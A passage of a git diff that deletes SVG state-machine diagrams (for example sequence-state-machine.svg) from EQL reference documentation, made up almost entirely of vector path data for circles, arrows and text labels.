-1.25 -0.421875q-0.921875 0 -1.421875 0.5625q-0.5 0.546875 -0.5 1.390625l0 5.6875l-1.375 0l0 -5.984375q0 -0.734375 -0.484375 -1.1875q-0.46875 -0.46875 -1.234375 -0.46875q-0.53125 0 -0.984375 0.28125q-0.4375 0.28125 -0.71875 0.78125q-0.28125 0.484375 -0.28125 1.125l0 5.453125l-1.328125 0zm13.908936 3.265625l0 -12.0l1.28125 0l0 1.390625l0.171875 0q0.140625 -0.21875 0.40625 -0.578125q0.265625 -0.359375 0.765625 -0.640625q0.5 -0.28125 1.34375 -0.28125q1.109375 0 1.9375 0.5625q0.84375 0.546875 1.3125 1.5625q0.484375 1.0 0.484375 2.375q0 1.390625 -0.484375 2.40625q-0.46875 1.015625 -1.3125 1.578125q-0.828125 0.546875 -1.90625 0.546875q-0.84375 0 -1.359375 -0.28125q-0.5 -0.28125 -0.78125 -0.640625q-0.265625 -0.375 -0.40625 -0.609375l-0.125 0l0 4.609375l-1.328125 0zm1.3125 -7.625q0 0.984375 0.28125 1.734375q0.296875 0.75 0.84375 1.1875q0.5625 0.421875 1.375 0.421875q0.84375 0 1.40625 -0.453125q0.5625 -0.453125 0.84375 -1.203125q0.296875 -0.765625 0.296875 -1.6875q0 -0.921875 -0.28125 -1.65625q-0.28125 -0.75 -0.859375 -1.1875q-0.5625 -0.4375 -1.40625 -0.4375q-0.8125 0 -1.375 0.421875q-0.5625 0.40625 -0.84375 1.140625q-0.28125 0.734375 -0.28125 1.71875zm9.765533 -7.28125l0 11.640625l-1.328125 0l0 -11.640625l1.328125 0zm6.123535 11.828125q-1.265625 0 -2.1875 -0.5625q-0.90625 -0.5625 -1.40625 -1.5625q-0.484375 -1.015625 -0.484375 -2.359375q0 -1.34375 0.484375 -2.359375q0.5 -1.03125 1.375 -1.609375q0.890625 -0.578125 2.078125 -0.578125q0.6875 0 1.34375 0.234375q0.671875 0.21875 1.21875 0.734375q0.546875 0.5 0.859375 1.34375q0.328125 0.828125 0.328125 2.046875l0 0.578125l-6.734375 0l0 -1.15625l5.375 0q0 -0.75 -0.296875 -1.328125q-0.296875 -0.578125 -0.828125 -0.90625q-0.53125 -0.34375 -1.265625 -0.34375q-0.796875 0 -1.390625 0.40625q-0.578125 0.390625 -0.890625 1.03125q-0.3125 0.625 -0.3125 1.34375l0 0.765625q0 0.984375 0.34375 1.671875q0.34375 0.6875 0.953125 1.046875q0.625 0.359375 1.4375 0.359375q0.53125 0 0.953125 -0.15625q0.421875 -0.15625 0.734375 -0.453125q0.3125 -0.3125 0.484375 -0.765625l1.296875 0.375q-0.203125 0.65625 -0.6875 1.15625q-0.484375 0.484375 -1.203125 0.765625q-0.703125 0.28125 -1.578125 0.28125zm9.443054 -8.921875l0 1.140625l-4.515625 0l0 -1.140625l4.515625 0zm-3.203125 -2.078125l1.34375 0l0 8.3125q0 0.5625 0.171875 0.84375q0.171875 0.28125 0.421875 0.375q0.265625 0.09375 0.5625 0.09375q0.234375 0 0.375 -0.015625q0.140625 -0.03125 0.21875 -0.046875l0.28125 1.203125q-0.140625 0.046875 -0.390625 0.09375q-0.234375 0.0625 -0.609375 0.0625q-0.578125 0 -1.125 -0.234375q-0.53125 -0.25 -0.890625 -0.75q-0.359375 -0.5 -0.359375 -1.265625l0 -8.671875zm8.805328 11.0q-1.265625 0 -2.1875 -0.5625q-0.90625 -0.5625 -1.40625 -1.5625q-0.484375 -1.015625 -0.484375 -2.359375q0 -1.34375 0.484375 -2.359375q0.5 -1.03125 1.375 -1.609375q0.890625 -0.578125 2.078125 -0.578125q0.6875 0 1.34375 0.234375q0.671875 0.21875 1.21875 0.734375q0.546875 0.5 0.859375 1.34375q0.328125 0.828125 0.328125 2.046875l0 0.578125l-6.734375 0l0 -1.15625l5.375 0q0 -0.75 -0.296875 -1.328125q-0.296875 -0.578125 -0.828125 -0.90625q-0.53125 -0.34375 -1.265625 -0.34375q-0.796875 0 -1.390625 0.40625q-0.578125 0.390625 -0.890625 1.03125q-0.3125 0.625 -0.3125 1.34375l0 0.765625q0 0.984375 0.34375 1.671875q0.34375 0.6875 0.953125 1.046875q0.625 0.359375 1.4375 0.359375q0.53125 0 0.953125 -0.15625q0.421875 -0.15625 0.734375 -0.453125q0.3125 -0.3125 0.484375 -0.765625l1.296875 0.375q-0.203125 0.65625 -0.6875 1.15625q-0.484375 0.484375 -1.203125 0.765625q-0.703125 0.28125 -1.578125 0.28125z" fill-rule="nonzero"/><path fill="#000000" fill-opacity="0.0" d="m438.89587 273.7092l0 0l0 19.363403l0 0l0 -19.363403z" fill-rule="nonzero"/><path fill="#ffffff" d="m365.8967 290.24902l72.999176 0l0 1.4400024l-72.999176 0l0 -1.4400024z" fill-rule="nonzero"/><path fill="#f5a35c" d="m181.25017 311.3399l0 0c0 -36.311646 29.436401 -65.74805 65.74803 -65.74805l0 0c17.43747 0 34.160736 6.927017 46.490875 19.257172c12.33017 12.330139 19.257172 29.053406 19.257172 46.490875l0 0c0 36.311615 -29.436401 65.74802 -65.74805 65.74802l0 0c-36.31163 0 -65.74803 -29.436401 -65.74803 -65.74802z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m219.49852 273.7092l54.999374 0l0 19.363403l-54.999374 0l0 -19.363403z" fill-rule="nonzero"/><path fill="#ffffff" d="m227.26414 280.47464q-0.09375 -0.859375 -0.828125 -1.328125q-0.71875 -0.484375 -1.78125 -0.484375q-0.765625 0 -1.34375 0.25q-0.578125 0.25 -0.90625 0.6875q-0.3125 0.4375 -0.3125 1.0q0 0.46875 0.21875 0.796875q0.234375 0.328125 0.578125 0.546875q0.359375 0.21875 0.734375 0.359375q0.390625 0.140625 0.71875 0.21875l1.171875 0.328125q0.46875 0.109375 1.015625 0.328125q0.5625 0.203125 1.078125 0.5625q0.515625 0.359375 0.84375 0.921875q0.34375 0.5625 0.34375 1.390625q0 0.9375 -0.5 1.703125q-0.484375 0.765625 -1.421875 1.21875q-0.9375 0.4375 -2.28125 0.4375q-1.25 0 -2.171875 -0.40625q-0.90625 -0.40625 -1.421875 -1.125q-0.515625 -0.71875 -0.59375 -1.671875l1.453125 0q0.0625 0.65625 0.453125 1.09375q0.390625 0.421875 0.984375 0.640625q0.59375 0.203125 1.296875 0.203125q0.796875 0 1.4375 -0.265625q0.65625 -0.265625 1.03125 -0.734375q0.375 -0.484375 0.375 -1.125q0 -0.578125 -0.328125 -0.9375q-0.328125 -0.359375 -0.859375 -0.578125q-0.515625 -0.234375 -1.140625 -0.40625l-1.421875 -0.40625q-1.375 -0.40625 -2.171875 -1.125q-0.78125 -0.734375 -0.78125 -1.90625q0 -0.96875 0.53125 -1.703125q0.53125 -0.734375 1.421875 -1.140625q0.90625 -0.40625 2.015625 -0.40625q1.125 0 2.0 0.40625q0.875 0.390625 1.390625 1.09375q0.515625 0.6875 0.546875 1.5625l-1.375 0zm7.454422 0l0 1.140625l-4.515625 0l0 -1.140625l4.515625 0zm-3.203125 -2.078125l1.34375 0l0 8.3125q0 0.5625 0.171875 0.84375q0.171875 0.28125 0.421875 0.375q0.265625 0.09375 0.5625 0.09375q0.234375 0 0.375 -0.015625q0.140625 -0.03125 0.21875 -0.046875l0.28125 1.203125q-0.140625 0.046875 -0.390625 0.09375q-0.234375 0.0625 -0.609375 0.0625q-0.578125 0 -1.125 -0.234375q-0.53125 -0.25 -0.890625 -0.75q-0.359375 -0.5 -0.359375 -1.265625l0 -8.671875zm7.80249 11.015625q-0.828125 0 -1.515625 -0.3125q-0.671875 -0.3125 -1.078125 -0.90625q-0.390625 -0.609375 -0.390625 -1.46875q0 -0.75 0.296875 -1.21875q0.296875 -0.46875 0.78125 -0.734375q0.5 -0.265625 1.09375 -0.390625q0.609375 -0.140625 1.21875 -0.21875q0.796875 -0.09375 1.296875 -0.140625q0.5 -0.0625 0.71875 -0.1875q0.234375 -0.140625 0.234375 -0.46875l0 -0.046875q0 -0.84375 -0.453125 -1.296875q-0.453125 -0.46875 -1.390625 -0.46875q-0.953125 0 -1.5 0.421875q-0.546875 0.421875 -0.765625 0.890625l-1.28125 -0.453125q0.34375 -0.796875 0.90625 -1.234375q0.578125 -0.453125 1.25 -0.625q0.6875 -0.1875 1.34375 -0.1875q0.421875 0 0.96875 0.109375q0.546875 0.09375 1.0625 0.40625q0.515625 0.296875 0.859375 0.921875q0.34375 0.609375 0.34375 1.65625l0 5.75l-1.34375 0l0 -1.1875l-0.0625 0q-0.140625 0.296875 -0.46875 0.625q-0.3125 0.3125 -0.84375 0.546875q-0.515625 0.21875 -1.28125 0.21875zm0.203125 -1.203125q0.796875 0 1.34375 -0.3125q0.546875 -0.3125 0.828125 -0.796875q0.28125 -0.5 0.28125 -1.046875l0 -1.234375q-0.078125 0.109375 -0.375 0.1875q-0.28125 0.078125 -0.65625 0.140625q-0.375 0.0625 -0.71875 0.109375q-0.34375 0.03125 -0.5625 0.0625q-0.53125 0.078125 -0.984375 0.234375q-0.453125 0.140625 -0.734375 0.4375q-0.265625 0.296875 -0.265625 0.8125q0 0.703125 0.515625 1.0625q0.53125 0.34375 1.328125 0.34375zm10.038254 -7.734375l0 1.140625l-4.515625 0l0 -1.140625l4.515625 0zm-3.203125 -2.078125l1.34375 0l0 8.3125q0 0.5625 0.171875 0.84375q0.171875 0.28125 0.421875 0.375q0.265625 0.09375 0.5625 0.09375q0.234375 0 0.375 -0.015625q0.140625 -0.03125 0.21875 -0.046875l0.28125 1.203125q-0.140625 0.046875 -0.390625 0.09375q-0.234375 0.0625 -0.609375 0.0625q-0.578125 0 -1.125 -0.234375q-0.53125 -0.25 -0.890625 -0.75q-0.359375 -0.5 -0.359375 -1.265625l0 -8.671875zm8.805328 11.0q-1.265625 0 -2.1875 -0.5625q-0.90625 -0.5625 -1.40625 -1.5625q-0.484375 -1.015625 -0.484375 -2.359375q0 -1.34375 0.484375 -2.359375q0.5 -1.03125 1.375 -1.609375q0.890625 -0.578125 2.078125 -0.578125q0.6875 0 1.3437653 0.234375q0.671875 0.21875 1.21875 0.734375q0.546875 0.5 0.859375 1.34375q0.328125 0.828125 0.328125 2.046875l0 0.578125l-6.7343903 0l0 -1.15625l5.3750153 0q0 -0.75 -0.296875 -1.328125q-0.296875 -0.578125 -0.828125 -0.90625q-0.53126526 -0.34375 -1.2656403 -0.34375q-0.796875 0 -1.390625 0.40625q-0.578125 0.390625 -0.890625 1.03125q-0.3125 0.625 -0.3125 1.34375l0 0.765625q0 0.984375 0.34375 1.671875q0.34375 0.6875 0.953125 1.046875q0.625 0.359375 1.4375 0.359375q0.53125 0 0.95314026 -0.15625q0.421875 -0.15625 0.734375 -0.453125q0.3125 -0.3125 0.484375 -0.765625l1.296875 0.375q-0.203125 0.65625 -0.6875 1.15625q-0.484375 0.484375 -1.203125 0.765625q-0.703125 0.28125 -1.5781403 0.28125zm10.333664 -0.1875l0 -11.640625l4.078125 0q1.203125 0 1.984375 0.421875q0.796875 0.421875 1.1875 1.125q0.390625 0.703125 0.390625 1.546875q0 0.75 -0.265625 1.25q-0.265625 0.484375 -0.703125 0.765625q-0.421875 0.28125 -0.921875 0.421875l0 0.109375q0.53125 0.03125 1.0625 0.375q0.546875 0.34375 0.90625 0.984375q0.375 0.625 0.375 1.546875q0 0.875 -0.40625 1.578125q-0.390625 0.703125 -1.25 1.109375q-0.859375 0.40625 -2.234375 0.40625l-4.203125 0zm1.40625 -1.25l2.796875 0q1.390625 0 1.96875 -0.53125q0.578125 -0.546875 0.578125 -1.3125q0 -0.59375 -0.296875 -1.09375q-0.296875 -0.5 -0.859375 -0.796875q-0.5625 -0.3125 -1.3125 -0.3125l-2.875 0l0 4.046875zm0 -5.265625l2.625 0q0.625 0 1.140625 -0.25q0.515625 -0.25 0.8125 -0.703125q0.3125 -0.46875 0.3125 -1.078125q0 -0.765625 -0.53125 -1.296875q-0.53125 -0.546875 -1.6875 -0.546875l-2.671875 0l0 3.875z" fill-rule="nonzero"/><path fill="#000000" fill-opacity="0.0" d="m274.4979 273.7092l0 0l0 19.363403l0 0l0 -19.363403z" fill-rule="nonzero"/><path fill="#ffffff" d="m219.49852 290.24902l54.999374 0l0 1.4400024l-54.999374 0l0 -1.4400024z" fill-rule="nonzero"/><path fill="#6dccb1" d="m25.8521 311.3399l0 0c0 -36.311646 29.436398 -65.74805 65.74803 -65.74805l0 0c17.437462 0 34.16073 6.927017 46.490883 19.257172c12.330139 12.330139 19.257141 29.053406 19.257141 46.490875l0 0c0 36.311615 -29.436394 65.74802 -65.748024 65.74802l0 0c-36.311638 0 -65.74803 -29.436401 -65.74803 -65.74802z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m63.89591 273.7092l55.408443 0l0 19.363403l-55.408443 0l0 -19.363403z" fill-rule="nonzero"/><path fill="#ffffff" d="m71.66154 280.47464q-0.09375 -0.859375 -0.828125 -1.328125q-0.71875 -0.484375 -1.78125 -0.484375q-0.765625 0 -1.34375 0.25q-0.578125 0.25 -0.90625 0.6875q-0.3125 0.4375 -0.3125 1.0q0 0.46875 0.21875 0.796875q0.234375 0.328125 0.578125 0.546875q0.359375 0.21875 0.734375 0.359375q0.390625 0.140625 0.71875 0.21875l1.171875 0.328125q0.46875 0.109375 1.015625 0.328125q0.5625 0.203125 1.078125 0.5625q0.515625 0.359375 0.84375 0.921875q0.34375 0.5625 0.34375 1.390625q0 0.9375 -0.5 1.703125q-0.484375 0.765625 -1.421875 1.21875q-0.9375 0.4375 -2.28125 0.4375q-1.25 0 -2.171875 -0.40625q-0.90625 -0.40625 -1.421875 -1.125q-0.515625 -0.71875 -0.59375 -1.671875l1.453125 0q0.0625 0.65625 0.453125 1.09375q0.390625 0.421875 0.984375 0.640625q0.59375 0.203125 1.296875 0.203125q0.796875 0 1.4375 -0.265625q0.65625 -0.265625 1.03125 -0.734375q0.375 -0.484375 0.375 -1.125q0 -0.578125 -0.328125 -0.9375q-0.328125 -0.359375 -0.859375 -0.578125q-0.515625 -0.234375 -1.140625 -0.40625l-1.421875 -0.40625q-1.375 -0.40625 -2.171875 -1.125q-0.78125 -0.734375 -0.78125 -1.90625q0 -0.96875 0.53125 -1.703125q0.53125 -0.734375 1.421875 -1.140625q0.90625 -0.40625 2.015625 -0.40625q1.125 0 2.0 0.40625q0.875 0.390625 1.390625 1.09375q0.515625 0.6875 0.546875 1.5625l-1.375 0zm7.454422 0l0 1.140625l-4.515625 0l0 -1.140625l4.515625 0zm-3.203125 -2.078125l1.34375 0l0 8.3125q0 0.5625 0.171875 0.84375q0.171875 0.28125 0.421875 0.375q0.265625 0.09375 0.5625 0.09375q0.234375 0 0.375 -0.015625q0.140625 -0.03125 0.21875 -0.046875l0.28125 1.203125q-0.140625 0.046875 -0.390625 0.09375q-0.234375 0.0625 -0.609375 0.0625q-0.578125 0 -1.125 -0.234375q-0.53125 -0.25 -0.890625 -0.75q-0.359375 -0.5 -0.359375 -1.265625l0 -8.671875zm7.80249 11.015625q-0.828125 0 -1.515625 -0.3125q-0.671875 -0.3125 -1.078125 -0.90625q-0.390625 -0.609375 -0.390625 -1.46875q0 -0.75 0.296875 -1.21875q0.296875 -0.46875 0.78125 -0.734375q0.5 -0.265625 1.09375 -0.390625q0.609375 -0.140625 1.21875 -0.21875q0.796875 -0.09375 1.296875 -0.140625q0.5 -0.0625 0.71875 -0.1875q0.234375 -0.140625 0.234375 -0.46875l0 -0.046875q0 -0.84375 -0.453125 -1.296875q-0.453125 -0.46875 -1.390625 -0.46875q-0.953125 0 -1.5 0.421875q-0.546875 0.421875 -0.765625 0.890625l-1.28125 -0.453125q0.34375 -0.796875 0.90625 -1.234375q0.578125 -0.453125 1.25 -0.625q0.6875 -0.1875 1.34375 -0.1875q0.421875 0 0.96875 0.109375q0.546875 0.09375 1.0625 0.40625q0.515625 0.296875 0.859375 0.921875q0.34375 0.609375 0.34375 1.65625l0 5.75l-1.34375 0l0 -1.1875l-0.0625 0q-0.140625 0.296875 -0.46875 0.625q-0.3125 0.3125 -0.84375 0.546875q-0.515625 0.21875 -1.28125 0.21875zm0.203125 -1.203125q0.796875 0 1.34375 -0.3125q0.546875 -0.3125 0.828125 -0.796875q0.28125 -0.5 0.28125 -1.046875l0 -1.234375q-0.078125 0.109375 -0.375 0.1875q-0.28125 0.078125 -0.65625 0.140625q-0.375 0.0625 -0.71875 0.109375q-0.34375 0.03125 -0.5625 0.0625q-0.53125 0.078125 -0.984375 0.234375q-0.453125 0.140625 -0.734375 0.4375q-0.265625 0.296875 -0.265625 0.8125q0 0.703125 0.515625 1.0625q0.53125 0.34375 1.328125 0.34375zm10.038254 -7.734375l0 1.140625l-4.515625 0l0 -1.140625l4.515625 0zm-3.203125 -2.078125l1.34375 0l0 8.3125q0 0.5625 0.171875 0.84375q0.171875 0.28125 0.421875 0.375q0.265625 0.09375 0.5625 0.09375q0.234375 0 0.375 -0.015625q0.140625 -0.03125 0.21875 -0.046875l0.28125 1.203125q-0.140625 0.046875 -0.390625 0.09375q-0.234375 0.0625 -0.609375 0.0625q-0.578125 0 -1.125 -0.234375q-0.53125 -0.25 -0.890625 -0.75q-0.359375 -0.5 -0.359375 -1.265625l0 -8.671875zm8.805328 11.0q-1.265625 0 -2.1875 -0.5625q-0.90625 -0.5625 -1.40625 -1.5625q-0.484375 -1.015625 -0.484375 -2.359375q0 -1.34375 0.484375 -2.359375q0.5 -1.03125 1.375 -1.609375q0.890625 -0.578125 2.078125 -0.578125q0.6875 0 1.34375 0.234375q0.671875 0.21875 1.21875 0.734375q0.546875 0.5 0.859375 1.34375q0.328125 0.828125 0.328125 2.046875l0 0.578125l-6.734375 0l0 -1.15625l5.375 0q0 -0.75 -0.296875 -1.328125q-0.296875 -0.578125 -0.828125 -0.90625q-0.53125 -0.34375 -1.265625 -0.34375q-0.796875 0 -1.390625 0.40625q-0.578125 0.390625 -0.890625 1.03125q-0.3125 0.625 -0.3125 1.34375l0 0.765625q0 0.984375 0.34375 1.671875q0.34375 0.6875 0.953125 1.046875q0.625 0.359375 1.4375 0.359375q0.53125 0 0.953125 -0.15625q0.421875 -0.15625 0.734375 -0.453125q0.3125 -0.3125 0.484375 -0.765625l1.296875 0.375q-0.203125 0.65625 -0.6875 1.15625q-0.484375 0.484375 -1.203125 0.765625q-0.703125 0.28125 -1.578125 0.28125zm10.818016 -0.1875l-1.4843674 0l4.2812424 -11.640625l1.453125 0l4.265625 11.640625l-1.46875 0l-3.484375 -9.796875l-0.09375 0l-3.46875 9.796875zm0.546875 -4.546875l5.953125 0l0 1.25l-5.953125 0l0 -1.25z" fill-rule="nonzero"/><path fill="#000000" fill-opacity="0.0" d="m119.30435 273.7092l0 0l0 19.363403l0 0l0 -19.363403z" fill-rule="nonzero"/><path fill="#ffffff" d="m63.89591 290.24902l55.40845 0l0 1.4400024l-55.40845 0l0 -1.4400024z" fill-rule="nonzero"/><path fill="#000000" fill-opacity="0.0" d="m157.34816 311.3399l23.905518 0" fill-rule="evenodd"/><path stroke="#98a2b3" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m157.34818 311.3399l11.905502 0" fill-rule="evenodd"/><path fill="#98a2b3" stroke="#98a2b3" stroke-width="2.0" stroke-linecap="butt" d="m169.25368 314.64337l9.076187 -3.3034668l-9.076187 -3.3034668z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m312.74625 311.3399l23.905518 0" fill-rule="evenodd"/><path stroke="#98a2b3" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m312.74625 311.3399l11.905518 0" fill-rule="evenodd"/><path fill="#98a2b3" stroke="#98a2b3" stroke-width="2.0" stroke-linecap="butt" d="m324.65176 314.64337l9.076202 -3.3034668l-9.076202 -3.3034668z" fill-rule="evenodd"/><path fill="#ffffff" d="m200.69554 212.82677l89.07088 0l0 25.16536l-89.07088 0z" fill-rule="evenodd"/><path fill="#dd0a73" d="m221.55806 232.5482q-1.46875 0 -2.546875 -0.65625q-1.0625 -0.65625 -1.640625 -1.828125q-0.5625 -1.171875 -0.5625 -2.75q0 -1.5625 0.5625 -2.75q0.578125 -1.203125 1.609375 -1.875q1.03125 -0.671875 2.40625 -0.671875q0.796875 0 1.578125 0.265625q0.78125 0.265625 1.40625 0.859375q0.640625 0.59375 1.015625 1.578125q0.375 0.96875 0.375 2.390625l0 0.65625l-7.84375 0l0 -1.34375l6.265625 0q0 -0.859375 -0.34375 -1.53125q-0.34375 -0.6875 -0.96875 -1.078125q-0.625 -0.390625 -1.484375 -0.390625q-0.921875 0 -1.609375 0.46875q-0.671875 0.453125 -1.046875 1.1875q-0.359375 0.734375 -0.359375 1.578125l0 0.90625q0 1.140625 0.390625 1.953125q0.40625 0.796875 1.125 1.21875q0.71875 0.40625 1.671875 0.40625q0.609375 0 1.109375 -0.171875q0.5 -0.1875 0.859375 -0.53125q0.375 -0.359375 0.5625 -0.890625l1.515625 0.421875q-0.234375 0.765625 -0.796875 1.34375q-0.5625 0.578125 -1.390625 0.90625q-0.828125 0.328125 -1.859375 0.328125zm8.16217 -13.78125l0 13.5625l-1.5625 0l0 -13.5625l1.5625 0zm4.3162384 9.859375l-0.03125 -1.9375l0.328125 0l4.4375 -4.53125l1.9375 0l-4.734375 4.796875l-0.140625 0l-1.796875 1.671875zm-1.453125 3.703125l0 -13.5625l1.5625 0l0 13.5625l-1.5625 0zm6.453125 0l-3.96875 -5.03125l1.109375 -1.09375l4.859375 6.125l-2.0 0zm3.899765 0l0 -13.5625l1.5625 0l0 5.0l0.140625 0q0.171875 -0.265625 0.46875 -0.671875q0.3125 -0.421875 0.890625 -0.75q0.578125 -0.328125 1.578125 -0.328125q1.28125 0 2.265625 0.640625q0.984375 0.640625 1.53125 1.828125q0.546875 1.171875 0.546875 2.78125q0 1.625 -0.546875 2.8125q-0.546875 1.171875 -1.53125 1.828125q-0.96875 0.640625 -2.234375 0.640625q-0.984375 0 -1.578125 -0.328125q-0.59375 -0.328125 -0.90625 -0.75q-0.3125 -0.421875 -0.484375 -0.703125l-0.1875 0l0 1.5625l-1.515625 0zm1.546875 -5.09375q0 1.15625 0.328125 2.046875q0.34375 0.875 0.984375 1.375q0.65625 0.484375 1.59375 0.484375q0.984375 0 1.640625 -0.515625q0.65625 -0.53125 0.984375 -1.40625q0.34375 -0.890625 0.34375 -1.984375q0 -1.0625 -0.328125 -1.921875q-0.328125 -0.875 -0.984375 -1.375q-0.65625 -0.515625 -1.65625 -0.515625q-0.953125 0 -1.609375 0.484375q-0.640625 0.484375 -0.96875 1.34375q-0.328125 0.84375 -0.328125 1.984375zm14.096451 5.3125q-1.46875 0 -2.546875 -0.65625q-1.0625153 -0.65625 -1.6406403 -1.828125q-0.5625 -1.171875 -0.5625 -2.75q0 -1.5625 0.5625 -2.75q0.578125 -1.203125 1.6093903 -1.875q1.03125 -0.671875 2.40625 -0.671875q0.796875 0 1.578125 0.265625q0.78125 0.265625 1.40625 0.859375q0.640625 0.59375 1.015625 1.578125q0.375 0.96875 0.375 2.390625l0 0.65625l-7.8437653 0l0 -1.34375l6.2656403 0q0 -0.859375 -0.34375 -1.53125q-0.34375 -0.6875 -0.96875 -1.078125q-0.625 -0.390625 -1.484375 -0.390625q-0.921875 0 -1.609375 0.46875q-0.671875 0.453125 -1.0468903 1.1875q-0.359375 0.734375 -0.359375 1.578125l0 0.90625q0 1.140625 0.390625 1.953125q0.40626526 0.796875 1.1250153 1.21875q0.71875 0.40625 1.671875 0.40625q0.609375 0 1.109375 -0.171875q0.5 -0.1875 0.859375 -0.53125q0.375 -0.359375 0.5625 -0.890625l1.515625 0.421875q-0.234375 0.765625 -0.796875 1.34375q-0.5625 0.578125 -1.390625 0.90625q-0.828125 0.328125 -1.859375 0.328125zm10.865265 0q-1.46875 0 -2.546875 -0.65625q-1.0625 -0.65625 -1.640625 -1.828125q-0.5624695 -1.171875 -0.5624695 -2.75q0 -1.5625 0.5624695 -2.75q0.578125 -1.203125 1.609375 -1.875q1.03125 -0.671875 2.40625 -0.671875q0.796875 0 1.578125 0.265625q0.78125 0.265625 1.40625 0.859375q0.640625 0.59375 1.015625 1.578125q0.375 0.96875 0.375 2.390625l0 0.65625l-7.84375 0l0 -1.34375l6.265625 0q0 -0.859375 -0.34375 -1.53125q-0.34375 -0.6875 -0.96875 -1.078125q-0.625 -0.390625 -1.484375 -0.390625q-0.921875 0 -1.609375 0.46875q-0.671875 0.453125 -1.046875 1.1875q-0.359375 0.734375 -0.359375 1.578125l0 0.90625q0 1.140625 0.390625 1.953125q0.40625 0.796875 1.125 1.21875q0.71875 0.40625 1.671875 0.40625q0.609375 0 1.109375 -0.171875q0.5 -0.1875 0.859375 -0.53125q0.375 -0.359375 0.5625 -0.890625l1.515625 0.421875q-0.234375 0.765625 -0.796875 1.34375q-0.5625 0.578125 -1.390625 0.90625q-0.828125 0.328125 -1.859375 0.328125z" fill-rule="nonzero"/></g></svg>
\ No newline at end of file
diff --git a/docs/reference/images/eql/sequence-state-machine.svg b/docs/reference/images/eql/sequence-state-machine.svg
deleted file mode 100644
index 78229666dae..00000000000
--- a/docs/reference/images/eql/sequence-state-machine.svg
+++ /dev/null
@@ -1 +0,0 @@
-<svg version="1.1" viewBox="0.0 0.0 485.1102362204724 151.8503937007874" fill="none" stroke="none" stroke-linecap="square" stroke-miterlimit="10" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg"><clipPath id="p.0"><path d="m0 0l485.11023 0l0 151.85039l-485.11023 0l0 -151.85039z" clip-rule="nonzero"/></clipPath><g clip-path="url(#p.0)"><path fill="#000000" fill-opacity="0.0" d="m0 0l485.11023 0l0 151.85039l-485.11023 0z" fill-rule="evenodd"/><path fill="#ff7e62" d="m332.20468 75.92531l0 0c0 -36.311638 29.436401 -65.74803 65.74802 -65.74803l0 0c17.43747 0 34.160736 6.927006 46.490906 19.257153c12.330139 12.330147 19.257141 29.053417 19.257141 46.490883l0 0c0 36.31163 -29.436401 65.74803 -65.74805 65.74803l0 0c-36.311615 0 -65.74802 -29.436401 -65.74802 -65.74803z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m361.45312 38.294605l72.999176 0l0 19.363415l-72.999176 0l0 -19.363415z" fill-rule="nonzero"/><path fill="#ffffff" d="m372.21875 45.794426l-1.40625 0q-0.125 -0.609375 -0.4375 -1.0625q-0.296875 -0.46875 -0.75 -0.78125q-0.4375 -0.3125 -0.96875 -0.46875q-0.53125 -0.171875 -1.109375 -0.171875q-1.0625 0 -1.921875 0.546875q-0.84375 0.53125 -1.359375 1.578125q-0.5 1.03125 -0.5 2.546875q0 1.5 0.5 2.546875q0.515625 1.03125 1.359375 1.578125q0.859375 0.53125 1.921875 0.53125q0.578125 0 1.109375 -0.15625q0.53125 -0.171875 0.96875 -0.484375q0.453125 -0.3125 0.75 -0.765625q0.3125 -0.46875 0.4375 -1.078125l1.40625 0q-0.15625 0.890625 -0.578125 1.609375q-0.421875 0.703125 -1.046875 1.1875q-0.625 0.484375 -1.40625 0.75q-0.765625 0.25 -1.640625 0.25q-1.484375 0 -2.65625 -0.71875q-1.15625 -0.734375 -1.828125 -2.078125q-0.65625 -1.34375 -0.65625 -3.171875q0 -1.84375 0.65625 -3.1875q0.671875 -1.34375 1.828125 -2.0625q1.171875 -0.734375 2.65625 -0.734375q0.875 0 1.640625 0.265625q0.78125 0.25 1.40625 0.75q0.625 0.484375 1.046875 1.1875q0.421875 0.703125 0.578125 1.59375zm5.6362305 8.1875q-1.171875 0 -2.0625 -0.5625q-0.890625 -0.5625 -1.390625 -1.578125q-0.5 -1.015625 -0.5 -2.359375q0 -1.375 0.5 -2.390625q0.5 -1.015625 1.390625 -1.578125q0.890625 -0.5625 2.0625 -0.5625q1.1875 0 2.078125 0.5625q0.890625 0.5625 1.390625 1.578125q0.5 1.015625 0.5 2.390625q0 1.34375 -0.5 2.359375q-0.5 1.015625 -1.390625 1.578125q-0.890625 0.5625 -2.078125 0.5625zm0 -1.203125q0.90625 0 1.484375 -0.453125q0.578125 -0.46875 0.859375 -1.21875q0.28125 -0.75 0.28125 -1.625q0 -0.875 -0.28125 -1.625q-0.28125 -0.765625 -0.859375 -1.234375q-0.578125 -0.46875 -1.484375 -0.46875q-0.890625 0 -1.46875 0.46875q-0.578125 0.46875 -0.859375 1.234375q-0.28125 0.75 -0.28125 1.625q0 0.875 0.28125 1.625q0.28125 0.75 0.859375 1.21875q0.578125 0.453125 1.46875 0.453125zm6.014099 1.015625l0 -8.734375l1.28125 0l0 1.375l0.125 0q0.265625 -0.703125 0.875 -1.09375q0.609375 -0.390625 1.46875 -0.390625q0.859375 0 1.4375 0.390625q0.578125 0.390625 0.890625 1.09375l0.09375 0q0.34375 -0.6875 1.0 -1.078125q0.671875 -0.40625 1.609375 -0.40625q1.171875 0 1.921875 0.734375q0.75 0.734375 0.75 2.265625l0 5.84375l-1.34375 0l0 -5.84375q0 -0.96875 -0.53125 -1.375q-0.53125 -0.421875 -1.25 -0.421875q-0.921875 0 -1.421875 0.5625q-0.5 0.546875 -0.5 1.390625l0 5.6875l-1.375 0l0 -5.984375q0 -0.734375 -0.484375 -1.1875q-0.46875 -0.46875 -1.234375 -0.46875q-0.53125 0 -0.984375 0.28125q-0.4375 0.28125 -0.71875 0.78125q-0.28125 0.484375 -0.28125 1.125l0 5.453125l-1.328125 0zm13.908936 3.265625l0 -12.0l1.28125 0l0 1.390625l0.171875 0q0.140625 -0.21875 0.40625 -0.578125q0.265625 -0.359375 0.765625 -0.640625q0.5 -0.28125 1.34375 -0.28125q1.109375 0 1.9375 0.5625q0.84375 0.546875 1.3125 1.5625q0.484375 1.0 0.484375 2.375q0 1.390625 -0.484375 2.40625q-0.46875 1.015625 -1.3125 